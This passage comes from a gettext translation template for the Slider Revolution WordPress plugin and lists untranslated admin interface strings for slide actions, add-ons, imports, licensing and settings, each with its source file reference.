admin/includes/shortcode_generator/shortcode_generator.class.php:125 msgid "Loading Thumbnails..." msgstr "" #: admin/revslider-admin.class.php:1833 msgid "jQuery Triggered" msgstr "" #: admin/revslider-admin.class.php:1834 msgid "<a> Tag Link" msgstr "" #: admin/revslider-admin.class.php:1835 #: admin/views/builder-slider-forms.php:919 msgid "First Slide" msgstr "" #: admin/revslider-admin.class.php:1836 admin/revslider-admin.class.php:1990 #: admin/views/modals-builder.php:448 admin/views/builder-layer-forms.php:360 msgid "Last Slide" msgstr "" #: admin/revslider-admin.class.php:1837 admin/revslider-admin.class.php:1916 #: admin/views/modals-builder.php:406 msgid "Next Slide" msgstr "" #: admin/revslider-admin.class.php:1838 admin/revslider-admin.class.php:1917 #: admin/views/modals-builder.php:400 msgid "Previous Slide" msgstr "" #: admin/revslider-admin.class.php:1839 msgid "" "Some Settings in Slider Source may not complete.
            Please " "Complete All Settings in Slider Sources." msgstr "" #: admin/revslider-admin.class.php:1840 msgid "" "Some Layers are Locked and/or Invisible." "
            Change Status in Timeline." msgstr "" #: admin/revslider-admin.class.php:1841 msgid "Editor is Loading..." msgstr "" #: admin/revslider-admin.class.php:1842 msgid "Adding new Blank Module..." msgstr "" #: admin/revslider-admin.class.php:1843 msgid "Opening" msgstr "" #: admin/revslider-admin.class.php:1844 msgid "Featured Images" msgstr "" #: admin/revslider-admin.class.php:1845 admin/revslider-admin.class.php:1948 #: admin/includes/shortcode_generator/shortcode_generator.class.php:113 msgid "Images" msgstr "" #: admin/revslider-admin.class.php:1846 admin/views/builder-slider-forms.php:99 #: admin/views/builder-slider-forms.php:1244 #: admin/views/builder-layer-forms.php:325 #: admin/views/builder-layer-forms.php:326 #: admin/views/builder-layer-forms.php:647 #: admin/views/builder-layer-forms.php:1027 msgid "None" msgstr "" #: admin/revslider-admin.class.php:1847 admin/views/builder-slide-forms.php:694 #: admin/views/builder-slide-forms.php:703 #: admin/views/builder-layer-forms.php:570 msgid "Select" msgstr "" #: admin/revslider-admin.class.php:1848 admin/views/builder-slide-forms.php:695 #: admin/views/builder-slide-forms.php:704 #: admin/views/builder-layer-forms.php:309 msgid "Reset" msgstr "" #: admin/revslider-admin.class.php:1849 #: admin/views/builder-slider-forms.php:462 admin/views/modals-builder.php:234 #: admin/views/modals-builder.php:322 admin/views/builder-slide-forms.php:175 #: admin/views/builder-slide-forms.php:187 #: admin/views/builder-layer-forms.php:1089 msgid "Custom" msgstr "" #: admin/revslider-admin.class.php:1850 msgid "OUT" msgstr "" #: admin/revslider-admin.class.php:1851 msgid "IN" msgstr "" #: admin/revslider-admin.class.php:1852 admin/views/builder-nav-forms.php:16 msgid "Navigation Options" msgstr "" #: admin/revslider-admin.class.php:1853 admin/views/builder-slider-forms.php:52 msgid "Module General Options" msgstr "" #: admin/revslider-admin.class.php:1854 admin/views/builder-slide-forms.php:17 msgid "Slide Options" msgstr "" #: admin/revslider-admin.class.php:1855 msgid "Layer Options" msgstr "" #: admin/revslider-admin.class.php:1856 msgid "Set a Slide Background Image to use this feature" msgstr "" #: admin/revslider-admin.class.php:1872 msgid "HTML" msgstr "" #: admin/revslider-admin.class.php:1883 msgid "Release to Upload file" msgstr "" #: admin/revslider-admin.class.php:1884 msgid "Module .zip" msgstr "" #: admin/revslider-admin.class.php:1885 msgid "Processing Import of" msgstr "" #: admin/revslider-admin.class.php:1886 msgid "An Error Occured while importing" msgstr "" #: admin/revslider-admin.class.php:1887 msgid "File Succesfully Imported" msgstr "" #: admin/revslider-admin.class.php:1888 msgid "Import Report" msgstr "" #: admin/revslider-admin.class.php:1890 msgid "Activate To Update" msgstr "" #: admin/revslider-admin.class.php:1891 msgid "Activated" msgstr "" #: admin/revslider-admin.class.php:1892 msgid "Not Activated" msgstr "" #: admin/revslider-admin.class.php:1893 msgid "Register this Code" msgstr "" #: admin/revslider-admin.class.php:1894 admin/views/overview.php:134 msgid "Deregister this Code" msgstr "" #: admin/revslider-admin.class.php:1895 msgid "Standard Module Embedding" msgstr "" #: admin/revslider-admin.class.php:1896 msgid "For the pages and posts editor insert the Shortcode:" msgstr "" #: admin/revslider-admin.class.php:1897 msgid "" "To Use it as Modal on pages and posts editor insert the " "Shortcode:" msgstr "" #: admin/revslider-admin.class.php:1898 msgid "" "From the widgets panel drag the \"Revolution Module\" widget to the " "desired sidebar." msgstr "" #: admin/revslider-admin.class.php:1899 msgid "Advanced Module Embedding" msgstr "" #: admin/revslider-admin.class.php:1900 msgid "For the theme html use:" msgstr "" #: admin/revslider-admin.class.php:1901 msgid "To add the slider only to the homepage, use:" msgstr "" #: admin/revslider-admin.class.php:1902 msgid "To add the slider only to single Pages, use:" msgstr "" #: admin/revslider-admin.class.php:1903 msgid "Select a Layer" msgstr "" #: admin/revslider-admin.class.php:1904 msgid "Link Actions" msgstr "" #: admin/revslider-admin.class.php:1905 msgid "Slide Actions" msgstr "" #: admin/revslider-admin.class.php:1906 msgid "Layer Actions" msgstr "" #: admin/revslider-admin.class.php:1907 msgid "Media Actions" msgstr "" #: admin/revslider-admin.class.php:1908 msgid "Fullscreen Actions" msgstr "" #: admin/revslider-admin.class.php:1909 msgid "Advanced Actions" msgstr "" #: admin/revslider-admin.class.php:1910 msgid "Simple Link" msgstr "" #: admin/revslider-admin.class.php:1911 msgid "Call Back" msgstr "" #: admin/revslider-admin.class.php:1912 admin/revslider-admin.class.php:1923 msgid "Open Slider Modal" msgstr "" #: admin/revslider-admin.class.php:1913 msgid "Scroll below Slider" msgstr "" #: admin/revslider-admin.class.php:1914 msgid "Scroll To ID" msgstr "" #: admin/revslider-admin.class.php:1915 admin/views/modals-builder.php:782 msgid "Jump to Slide" msgstr "" #: admin/revslider-admin.class.php:1918 msgid "Next Frame" msgstr "" #: admin/revslider-admin.class.php:1919 msgid "Previous Frame" msgstr "" #: admin/revslider-admin.class.php:1920 admin/views/modals-builder.php:388 #: admin/views/builder-slide-forms.php:564 msgid "Pause Slider" msgstr "" #: admin/revslider-admin.class.php:1921 msgid "Play Slide" msgstr "" #: admin/revslider-admin.class.php:1922 msgid "Close Slider Modal" msgstr "" #: admin/revslider-admin.class.php:1924 msgid "Toggle Slider" msgstr "" #: admin/revslider-admin.class.php:1925 msgid "Go to 1st Frame " msgstr "" #: admin/revslider-admin.class.php:1926 msgid "Go to Last Frame" msgstr "" #: admin/revslider-admin.class.php:1927 msgid "Go to Frame \"N\"" msgstr "" #: admin/revslider-admin.class.php:1928 msgid "Toggle 1st / Last Frame" msgstr "" #: admin/revslider-admin.class.php:1929 msgid "Toggle \"N/M\" Frames" msgstr "" #: admin/revslider-admin.class.php:1930 msgid "Start Media" msgstr "" #: admin/revslider-admin.class.php:1931 msgid "Stop Media" msgstr "" #: admin/revslider-admin.class.php:1932 msgid "Toggle Media" msgstr "" #: admin/revslider-admin.class.php:1933 msgid "Mute Media" msgstr "" #: admin/revslider-admin.class.php:1934 msgid "Unmute Media" msgstr "" #: admin/revslider-admin.class.php:1935 msgid "Toggle Mute Media" msgstr "" #: admin/revslider-admin.class.php:1936 msgid "Toggle Mute All Media" msgstr "" #: admin/revslider-admin.class.php:1937 msgid "Toggle Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1938 msgid "Enter Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1939 msgid "Exit Fullscreen" msgstr "" #: admin/revslider-admin.class.php:1940 msgid "Simulate Click" msgstr "" #: admin/revslider-admin.class.php:1941 msgid "Toggle Class" msgstr "" #: admin/revslider-admin.class.php:1942 admin/views/builder-layer-forms.php:228 #: admin/views/builder-layer-forms.php:862 msgid "Disabled" msgstr "" #: admin/revslider-admin.class.php:1943 msgid "Background Video" msgstr "" #: admin/revslider-admin.class.php:1944 admin/revslider-admin.class.php:1945 msgid "Video in Active Slide" msgstr "" #: admin/revslider-admin.class.php:1946 admin/views/builder-layer-forms.php:419 #: admin/includes/shortcode_generator/shortcode_generator.class.php:154 msgid "Behavior" msgstr "" #: admin/revslider-admin.class.php:1947 admin/views/modals-builder.php:722 msgid "Add Action to " msgstr "" #: admin/revslider-admin.class.php:1949 #: admin/includes/shortcode_generator/shortcode_generator.class.php:114 msgid "Layer Objects" msgstr "" #: admin/revslider-admin.class.php:1950 #: admin/includes/shortcode_generator/shortcode_generator.class.php:115 msgid "Objects" msgstr "" #: admin/revslider-admin.class.php:1951 #: admin/includes/shortcode_generator/shortcode_generator.class.php:116 msgid "Own Modules" msgstr "" #: admin/revslider-admin.class.php:1952 #: admin/includes/shortcode_generator/shortcode_generator.class.php:117 msgid "Font Icons" msgstr "" #: admin/revslider-admin.class.php:1953 #: admin/includes/shortcode_generator/shortcode_generator.class.php:118 msgid "Module Templates" msgstr "" #: admin/revslider-admin.class.php:1954 #: admin/includes/shortcode_generator/shortcode_generator.class.php:119 msgid "Videos" msgstr "" #: admin/revslider-admin.class.php:1955 #: admin/includes/shortcode_generator/shortcode_generator.class.php:120 msgid "SVG's" msgstr "" #: admin/revslider-admin.class.php:1956 #: admin/includes/shortcode_generator/shortcode_generator.class.php:121 msgid "Favorites" msgstr "" #: admin/revslider-admin.class.php:1957 #: admin/includes/shortcode_generator/shortcode_generator.class.php:128 msgid "Installed" msgstr "" #: admin/revslider-admin.class.php:1958 admin/revslider-admin.class.php:2018 #: admin/includes/shortcode_generator/shortcode_generator.class.php:129 msgid "Not Installed" msgstr "" #: admin/revslider-admin.class.php:1959 #: admin/includes/shortcode_generator/shortcode_generator.class.php:130 msgid "Setup Notes" msgstr "" #: admin/revslider-admin.class.php:1960 #: admin/includes/shortcode_generator/shortcode_generator.class.php:131 msgid "Requirements" msgstr "" #: admin/revslider-admin.class.php:1961 admin/views/overview.php:93 #: admin/includes/shortcode_generator/shortcode_generator.class.php:132 msgid "Installed Version" msgstr "" #: admin/revslider-admin.class.php:1962 msgid "Use LineBreaks only in Columns" msgstr "" #: admin/revslider-admin.class.php:1963 admin/views/overview.php:95 #: admin/includes/shortcode_generator/shortcode_generator.class.php:133 msgid "Available Version" msgstr "" #: admin/revslider-admin.class.php:1964 #: admin/includes/shortcode_generator/shortcode_generator.class.php:134 msgid "Install Template Package" msgstr "" #: admin/revslider-admin.class.php:1965 #: admin/includes/shortcode_generator/shortcode_generator.class.php:135 msgid "Install Template" msgstr "" #: admin/revslider-admin.class.php:1966 msgid "Installing Template" msgstr "" #: admin/revslider-admin.class.php:1967 #: admin/includes/shortcode_generator/shortcode_generator.class.php:140 msgid "Search" msgstr "" #: admin/revslider-admin.class.php:1968 #: admin/includes/shortcode_generator/shortcode_generator.class.php:141 msgid "FOLDER" msgstr "" #: admin/revslider-admin.class.php:1969 #: admin/includes/shortcode_generator/shortcode_generator.class.php:126 msgid "MODULE" msgstr "" #: admin/revslider-admin.class.php:1970 #: admin/includes/shortcode_generator/shortcode_generator.class.php:142 msgid "OBJECT" msgstr "" #: admin/revslider-admin.class.php:1971 #: admin/includes/shortcode_generator/shortcode_generator.class.php:127 msgid "PACKAGE" msgstr "" #: admin/revslider-admin.class.php:1972 #: admin/includes/shortcode_generator/shortcode_generator.class.php:143 msgid "IMAGE" msgstr "" #: admin/revslider-admin.class.php:1973 #: admin/includes/shortcode_generator/shortcode_generator.class.php:144 msgid "VIDEO" msgstr "" #: admin/revslider-admin.class.php:1974 #: admin/includes/shortcode_generator/shortcode_generator.class.php:145 msgid "ICON" msgstr "" #: admin/revslider-admin.class.php:1975 admin/views/builder-layer-forms.php:541 #: admin/includes/shortcode_generator/shortcode_generator.class.php:146 msgid "SVG" msgstr "" #: admin/revslider-admin.class.php:1976 #: admin/includes/shortcode_generator/shortcode_generator.class.php:147 msgid "FONT" msgstr "" #: admin/revslider-admin.class.php:1977 #: admin/includes/shortcode_generator/shortcode_generator.class.php:137 msgid "Re-Download Online" msgstr "" #: admin/revslider-admin.class.php:1978 #: admin/includes/shortcode_generator/shortcode_generator.class.php:138 msgid "Create Blank Page" msgstr "" #: admin/revslider-admin.class.php:1979 #: admin/includes/shortcode_generator/shortcode_generator.class.php:139 msgid "Please Wait a moment" msgstr "" #: admin/revslider-admin.class.php:1980 msgid "Changing Screen Size" msgstr "" #: admin/revslider-admin.class.php:1981 msgid "Headlines" msgstr "" #: admin/revslider-admin.class.php:1982 admin/views/builder-slider-forms.php:57 #: admin/views/builder-slider-forms.php:450 #: admin/views/builder-slider-forms.php:456 #: admin/views/builder-nav-forms.php:86 admin/views/builder-nav-forms.php:141 #: admin/views/builder-nav-forms.php:283 admin/views/builder-nav-forms.php:430 #: admin/views/builder-nav-forms.php:613 admin/views/builder-layer-forms.php:28 #: admin/views/builder-layer-forms.php:52 #: admin/includes/shortcode_generator/shortcode_generator.class.php:218 msgid "Content" msgstr "" #: admin/revslider-admin.class.php:1983 msgid "Buttons" msgstr "" #: admin/revslider-admin.class.php:1984 msgid "BG & Space" msgstr "" #: admin/revslider-admin.class.php:1985 admin/revslider-admin.class.php:1986 #: admin/views/builder-slider-forms.php:1110 msgid "Shadow" msgstr "" #: admin/revslider-admin.class.php:1987 msgid "Saving Slide" msgstr "" #: admin/revslider-admin.class.php:1988 msgid "Loading Configuration" msgstr "" #: admin/revslider-admin.class.php:1989 msgid "Updating Lists" msgstr "" #: admin/revslider-admin.class.php:1992 msgid "Slider Settings" msgstr "" #: admin/revslider-admin.class.php:1993 msgid "Animate From" msgstr "" #: admin/revslider-admin.class.php:1994 msgid "Keyframe #" msgstr "" #: admin/revslider-admin.class.php:1995 msgid "Transform Idle" msgstr "" #: admin/revslider-admin.class.php:1996 #: admin/includes/plugin-update.class.php:3423 msgid "Anim From" msgstr "" #: admin/revslider-admin.class.php:1997 admin/revslider-admin.class.php:1998 #: admin/includes/plugin-update.class.php:3527 #: admin/includes/plugin-update.class.php:3612 msgid "Anim To" msgstr "" #: admin/revslider-admin.class.php:1999 msgid "Keyframe" msgstr "" #: admin/revslider-admin.class.php:2000 msgid "Not Enough space between Frames." msgstr "" #: admin/revslider-admin.class.php:2001 msgid "Frame Size can not be Extended. Not enough Space." msgstr "" #: admin/revslider-admin.class.php:2002 msgid "Loop Template" msgstr "" #: admin/revslider-admin.class.php:2003 msgid "Animation Template" msgstr "" #: admin/revslider-admin.class.php:2004 msgid "Choose Image" msgstr "" #: admin/revslider-admin.class.php:2005 msgid "Choose Video" msgstr "" #: admin/revslider-admin.class.php:2006 msgid "Slider Revolution Shortcode Creator" msgstr "" #: admin/revslider-admin.class.php:2007 msgid "Shortcode Generator" msgstr "" #: admin/revslider-admin.class.php:2008 msgid "Please add at least one Layer." msgstr "" #: admin/revslider-admin.class.php:2009 msgid "Shortcode parsing successfull. Items can be found in step 3" msgstr "" #: admin/revslider-admin.class.php:2010 msgid "Shortcode could not be parsed." msgstr "" #: admin/revslider-admin.class.php:2011 msgid "Addon Required" msgstr "" #: admin/revslider-admin.class.php:2012 #: admin/includes/shortcode_generator/shortcode_generator.class.php:136 msgid "Activate License" msgstr "" #: admin/revslider-admin.class.php:2013 msgid "Search Icons..." msgstr "" #: admin/revslider-admin.class.php:2014 msgid "Save Current Template" msgstr "" #: admin/revslider-admin.class.php:2015 msgid "Overwrite Template ?" msgstr "" #: admin/revslider-admin.class.php:2016 msgid "Delete Template ?" msgstr "" #: admin/revslider-admin.class.php:2017 msgid "Credits" msgstr "" #: admin/revslider-admin.class.php:2019 admin/views/builder-nav-forms.php:810 #: admin/views/builder-nav-forms.php:828 #: admin/views/builder-layer-forms.php:928 msgid "Enabled" msgstr "" #: admin/revslider-admin.class.php:2020 msgid "Global" msgstr "" #: admin/revslider-admin.class.php:2021 msgid "Install Add-On" msgstr "" #: admin/revslider-admin.class.php:2022 msgid "Install" msgstr "" #: admin/revslider-admin.class.php:2023 msgid "Enable Add-On" msgstr "" #: admin/revslider-admin.class.php:2024 msgid "Disable Add-On" msgstr "" #: admin/revslider-admin.class.php:2025 msgid "Enable Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2026 msgid "Disable Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2027 msgid "Slider Revolution Version" msgstr "" #: admin/revslider-admin.class.php:2028 msgid "Check Requirements" msgstr "" #: admin/revslider-admin.class.php:2029 msgid "Activate Global Add-On" msgstr "" #: admin/revslider-admin.class.php:2030 msgid "Activate Add-On" msgstr "" #: admin/revslider-admin.class.php:2031 msgid "Activating Add-On" msgstr "" #: admin/revslider-admin.class.php:2032 msgid "Enabling Add-On" msgstr "" #: admin/revslider-admin.class.php:2033 msgid "Add-On" msgstr "" #: admin/revslider-admin.class.php:2034 msgid "Installing Add-On" msgstr "" #: admin/revslider-admin.class.php:2035 msgid "Disabling Add-On" msgstr "" #: admin/revslider-admin.class.php:2036 msgid "Building Select Boxes" msgstr "" #: admin/revslider-admin.class.php:2037 msgid "Warning" msgstr "" #: admin/revslider-admin.class.php:2038 msgid "Blank Page Created" msgstr "" #: admin/revslider-admin.class.php:2039 msgid "Blank page has been created:" msgstr "" #: admin/revslider-admin.class.php:2040 msgid "Visit Page" msgstr "" #: admin/revslider-admin.class.php:2041 msgid "Edit Page" msgstr "" #: admin/revslider-admin.class.php:2042 msgid "Close" msgstr "" #: admin/revslider-admin.class.php:2043 msgid "The changes you made require a page reload!" msgstr "" #: admin/revslider-admin.class.php:2044 msgid "Save your project & reload the page or cancel" msgstr "" #: admin/revslider-admin.class.php:2045 msgid "Save & Reload" msgstr "" #: admin/revslider-admin.class.php:2046 msgid "Cancel & Reload Later" msgstr "" #: admin/revslider-admin.class.php:2047 admin/views/modals-general.php:61 msgid "Save Configuration" msgstr "" #: admin/revslider-admin.class.php:2048 msgid "Updating" msgstr "" #: admin/revslider-admin.class.php:2049 msgid "Enable/Disable Add-On on Module" msgstr "" #: admin/revslider-admin.class.php:2050 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:157 msgid "Sort by Creation" msgstr "" #: admin/revslider-admin.class.php:2051 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:158 msgid "Creation Ascending" msgstr "" #: admin/revslider-admin.class.php:2052 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:159 msgid "Sort by Title" msgstr "" #: admin/revslider-admin.class.php:2053 admin/views/overview.php:67 #: admin/includes/shortcode_generator/shortcode_generator.class.php:160 msgid "Title Descending" msgstr "" #: admin/revslider-admin.class.php:2054 #: admin/includes/shortcode_generator/shortcode_generator.class.php:150 msgid "Update List" msgstr "" #: admin/revslider-admin.class.php:2055 msgid "Audio Wave Library is Loading..." msgstr "" #: admin/revslider-admin.class.php:2056 msgid "Loading RevMirror Library..." msgstr "" #: admin/revslider-admin.class.php:2057 msgid "Lock / Unlock Selected" msgstr "" #: admin/revslider-admin.class.php:2058 #: admin/includes/shortcode_generator/shortcode_generator.class.php:155 msgid "Layers Importing" msgstr "" #: admin/revslider-admin.class.php:2059 #: admin/includes/shortcode_generator/shortcode_generator.class.php:156 msgid "Nothing Selected" msgstr "" #: admin/revslider-admin.class.php:2060 #: admin/includes/shortcode_generator/shortcode_generator.class.php:153 msgid "Layer with Action" msgstr "" #: admin/revslider-admin.class.php:2061 #: admin/includes/shortcode_generator/shortcode_generator.class.php:151 msgid "Image is Loading..." msgstr "" #: admin/revslider-admin.class.php:2062 #: admin/includes/shortcode_generator/shortcode_generator.class.php:152 msgid "Importing Layers..." msgstr "" #: admin/revslider-admin.class.php:2063 msgid "Triggered By" msgstr "" #: admin/revslider-admin.class.php:2064 msgid "Imported" msgstr "" #: admin/revslider-admin.class.php:2065 msgid "LAYERS" msgstr "" #: admin/revslider-admin.class.php:2066 admin/views/builder-layer-forms.php:37 msgid "Responsivity" msgstr "" #: admin/revslider-admin.class.php:2067 msgid "The changes you made will be lost!" msgstr "" #: admin/revslider-admin.class.php:2068 msgid "Are you sure you want to continue?" msgstr "" #: admin/revslider-admin.class.php:2069 msgid "Are you sure you want to export " msgstr "" #: admin/revslider-admin.class.php:2070 msgid "Are you sure you want to delete " msgstr "" #: admin/revslider-admin.class.php:2071 msgid "Delete All Sliders and Folders included in " msgstr "" #: admin/revslider-admin.class.php:2072 msgid "Leave without Save" msgstr "" #: admin/revslider-admin.class.php:2073 msgid "Updating the Plugin may take a few moments." msgstr "" #: admin/revslider-admin.class.php:2074 msgid "Downloading the Zip File may take a few moments." msgstr "" #: admin/revslider-admin.class.php:2075 msgid "Export Slider" msgstr "" #: admin/revslider-admin.class.php:2076 msgid "Yes, Export Slider" msgstr "" #: admin/revslider-admin.class.php:2077 msgid "Yes, Delete Slider" msgstr "" #: admin/revslider-admin.class.php:2078 msgid "Yes, Delete Slide" msgstr "" #: admin/revslider-admin.class.php:2079 msgid "Yes, Delete All Slider(s)" msgstr "" #: admin/revslider-admin.class.php:2080 msgid "Stay in Edior" msgstr "" #: admin/revslider-admin.class.php:2081 msgid "Redirecting to Overview Page" msgstr "" #: admin/revslider-admin.class.php:2082 msgid "Leaving current Page" msgstr "" #: admin/revslider-admin.class.php:2083 msgid "as HTML Document" msgstr "" #: admin/revslider-admin.class.php:2084 msgid "Preparing Data..." msgstr "" #: admin/revslider-admin.class.php:2085 msgid "Loading Content..." msgstr "" #: admin/revslider-admin.class.php:2086 admin/views/builder.php:142 msgid "Copy" msgstr "" #: admin/revslider-admin.class.php:2087 admin/views/builder.php:143 msgid "Paste" msgstr "" #: admin/revslider-admin.class.php:2088 msgid "WAIT" msgstr "" #: admin/revslider-admin.class.php:2089 msgid "1st Frame" msgstr "" #: admin/revslider-admin.class.php:2090 msgid "Last Frame" msgstr "" #: admin/revslider-admin.class.php:2091 msgid "on Action" msgstr "" #: admin/revslider-admin.class.php:2092 msgid "This action can not be undone !!" msgstr "" #: admin/revslider-admin.class.php:2093 msgid "Delete Slider" msgstr "" #: admin/revslider-admin.class.php:2094 msgid "Delete Slide" msgstr "" #: admin/revslider-admin.class.php:2095 msgid "This can be Undone only within the Current session." msgstr "" #: admin/revslider-admin.class.php:2096 msgid "Are you sure you want to delete the selected Slide:" msgstr "" #: admin/revslider-admin.class.php:2097 #: admin/views/builder-slider-forms.php:1264 msgid "Cancel" msgstr "" #: admin/revslider-admin.class.php:2098 msgid "Add-Ons" msgstr "" #: admin/revslider-admin.class.php:2099 msgid "Deleting Slider" msgstr "" #: admin/revslider-admin.class.php:2100 msgid "Template & Object Library" msgstr "" #: admin/revslider-admin.class.php:2101 msgid "Instant Updates" msgstr "" #: admin/revslider-admin.class.php:2102 msgid "1on1 Support" msgstr "" #: admin/revslider-admin.class.php:2103 msgid "Get a Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2104 msgid "I have a Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2105 msgid "Register Slider Revolution
            to Unlock Premium Features" msgstr "" #: admin/revslider-admin.class.php:2106 admin/views/overview.php:123 msgid "Register Purchase Code" msgstr "" #: admin/revslider-admin.class.php:2107 msgid "1 Purchase Code per Website!" msgstr "" #: admin/revslider-admin.class.php:2108 msgid "" "If you want to use your purchase code on
            another domain, please " "deregister it first or" msgstr "" #: admin/revslider-admin.class.php:2109 msgid "Parallax is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2110 msgid "Scroll Based Timeline is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2111 msgid "Filter Effect Scroll is now generally Enabled" msgstr "" #: admin/revslider-admin.class.php:2112 msgid "Slide has no Layers" msgstr "" #: admin/revslider-admin.class.php:2113 msgid "Changes that you made may not be saved." msgstr "" #: admin/revslider-admin.class.php:2114 #: admin/includes/shortcode_generator/shortcode_generator.class.php:161 msgid "Add Slider as Modal" msgstr "" #: admin/revslider-admin.class.php:2137 msgid "Wrong Request" msgstr "" #: admin/includes/widget.class.php:14 msgid "Displays a Slider Revolution Module on the page" msgstr "" #: admin/includes/widget.class.php:33 msgid "No Sliders found, Please create a Slider first" msgstr "" #: admin/includes/widget.class.php:51 admin/views/builder-slider-forms.php:54 #: admin/views/builder-slider-forms.php:76 #: admin/views/builder-slider-forms.php:544 #: admin/views/builder-slider-forms.php:662 admin/views/modals-builder.php:352 #: admin/views/modals-builder.php:547 admin/views/modals-builder.php:634 #: admin/views/builder-layer-forms.php:880 msgid "Title" msgstr "" #: admin/includes/widget.class.php:55 msgid "Choose Slider" msgstr "" #: admin/includes/widget.class.php:66 msgid "Home Page Only" msgstr "" #: admin/includes/widget.class.php:70 msgid "Pages (example: 2,10):" msgstr "" #: admin/includes/tooltips.class.php:16 msgid "Docs" msgstr "" #: admin/includes/template.class.php:57 msgid "" "Can't write the file into the uploads folder of WordPress, please change " "permissions and try again!" msgstr "" #: admin/includes/template.class.php:64 msgid "" "Can't connect programatically to the ThemePunch servers, please check your " "webserver settings" msgstr "" #: admin/includes/template.class.php:67 msgid "" "Can't write into the uploads folder of WordPress, please change permissions " "and try again!" msgstr "" #: admin/includes/export-html.class.php:51 msgid "Wrong request!" msgstr "" #: admin/includes/export-html.class.php:304 msgid "" "Using this data is only allowed with a valid licence of the jQuery Slider " "Revolution Plugin, which can be found at CodeCanyon: http://codecanyon." "net/item/slider-revolution-responsive-jquery-plugin/2580848?ref=themepunch" msgstr "" #: admin/includes/plugin-update.class.php:5859 msgid "On Stage" msgstr "" #: admin/includes/addons.class.php:110 admin/includes/addons.class.php:135 msgid "Please activate Slider Revolution" msgstr "" #: admin/includes/import.class.php:137 msgid "No file sent." msgstr "" #: admin/includes/import.class.php:140 msgid "Exceeded filesize limit." msgstr "" #: admin/includes/import.class.php:152 msgid "Import file not found" msgstr "" #: admin/includes/import.class.php:199 msgid "slider_export.txt does not exist!" msgstr "" #: admin/includes/import.class.php:423 msgid "Please select the correct zip file, checksum failed!" msgstr "" #: admin/includes/import.class.php:470 admin/includes/import.class.php:552 msgid "" "Wrong export slider file format! Please make sure that the uploaded file is " "either a zip file with a correct slider_export.txt in the root of it or an " "valid slider_export.txt file." msgstr "" #: admin/includes/import.class.php:1540 msgid "could not find correct Slide to copy, please try again." msgstr "" #: admin/includes/import.class.php:1663 msgid " not found!" msgstr "" #: admin/includes/export.class.php:474 msgid "Can't create zip file: " msgstr "" #: admin/views/modals-general.php:22 msgid "Decision Modal Title" msgstr "" #: admin/views/modals-general.php:27 msgid "Do It" msgstr "" #: admin/views/modals-general.php:28 msgid "Dont Do It" msgstr "" #: admin/views/modals-general.php:40 msgid "Copy Embed Code" msgstr "" #: admin/views/modals-general.php:55 admin/views/builder-slider-forms.php:62 msgid "Addons" msgstr "" #: admin/views/modals-general.php:55 msgid "Check for Updates" msgstr "" #: admin/views/modals-general.php:59 msgid "Slider Revolution Addons" msgstr "" #: admin/views/modals-general.php:59 msgid "Please select an Addon to start with." msgstr "" #: admin/views/modals-overview.php:19 admin/views/modals-builder.php:26 msgid "Welcome to Slider Revolution 6" msgstr "" #: admin/views/modals-overview.php:63 msgid "Global Settings" msgstr "" #: admin/views/modals-overview.php:65 msgid "Permission" msgstr "" #: admin/views/modals-overview.php:66 msgid "To Admin" msgstr "" #: admin/views/modals-overview.php:67 msgid "To Editor, Admin" msgstr "" #: admin/views/modals-overview.php:68 msgid "Author, Editor, Admin" msgstr "" #: admin/views/modals-overview.php:71 msgid "Include Libraries Globaly" msgstr "" #: admin/views/modals-overview.php:72 msgid "List of Pages to include Revslider Libraries " msgstr "" #: admin/views/modals-overview.php:72 msgid "Example 2,homepage,5" msgstr "" #: admin/views/modals-overview.php:74 msgid "Insert scripts in Footer" msgstr "" #: admin/views/modals-overview.php:75 msgid "Defer JavaScript Loading" msgstr "" #: admin/views/modals-overview.php:77 msgid "Optional Font Loading URL" msgstr "" #: admin/views/modals-overview.php:77 msgid "ie. http://fonts.useso.com/css?family for chinese Environment" msgstr "" #: admin/views/modals-overview.php:79 msgid "Default Desktop Content Width" msgstr "" #: admin/views/modals-overview.php:80 msgid "Default Notebook Content Width" msgstr "" #: admin/views/modals-overview.php:81 msgid "Default Tablet Content Width" msgstr "" #: admin/views/modals-overview.php:82 msgid "Default Mobile Content Width" msgstr "" #: admin/views/modals-overview.php:84 msgid "Fix RS Table Issues" msgstr "" #: admin/views/modals-overview.php:84 msgid "Force RS DB Creation" msgstr "" #: admin/views/modals-overview.php:88 msgid "Save Global Settings" msgstr "" #: admin/views/overview.php:20 msgid "Good Evening " msgstr "" #: admin/views/overview.php:22 msgid "Good Morning " msgstr "" #: admin/views/overview.php:24 msgid "Good Afternoon " msgstr "" #: admin/views/overview.php:39 msgid "Modules" msgstr "" #: admin/views/overview.php:40 msgid "Updates" msgstr "" #: admin/views/overview.php:41 msgid "Activation" msgstr "" #: admin/views/overview.php:42 msgid "News" msgstr "" #: admin/views/overview.php:43 msgid "Globals" msgstr "" #: admin/views/overview.php:44 msgid "FAQ's" msgstr "" #: admin/views/overview.php:45 msgid "Support" msgstr "" #: admin/views/overview.php:52 msgid "You are running Slider Revolution " msgstr "" #: admin/views/overview.php:56 msgid "New Blank Module" msgstr "" #: admin/views/overview.php:57 msgid "New Module from Template" msgstr "" #: admin/views/overview.php:58 msgid "Manual Import" msgstr "" #: admin/views/overview.php:59 msgid "AddOns" msgstr "" #: admin/views/overview.php:65 msgid "Search Modules..." msgstr "" #: admin/views/overview.php:68 msgid "Show all Modules" msgstr "" #: admin/views/overview.php:69 msgid "Add Folder" msgstr "" #: admin/views/overview.php:78 msgid "Show All" msgstr "" #: admin/views/overview.php:92 msgid "Plugin Updates" msgstr "" #: admin/views/overview.php:100 msgid "Sytem Requirements" msgstr "" #: admin/views/overview.php:102 msgid "Upload folder writable" msgstr "" #: admin/views/overview.php:103 msgid "Memory Limit (256M)" msgstr "" #: admin/views/overview.php:104 msgid "Upload Max. Filesize (256M)" msgstr "" #: admin/views/overview.php:105 msgid "Max. Post Size (256M)" msgstr "" #: admin/views/overview.php:106 msgid "ThemePunch Server" msgstr "" #: 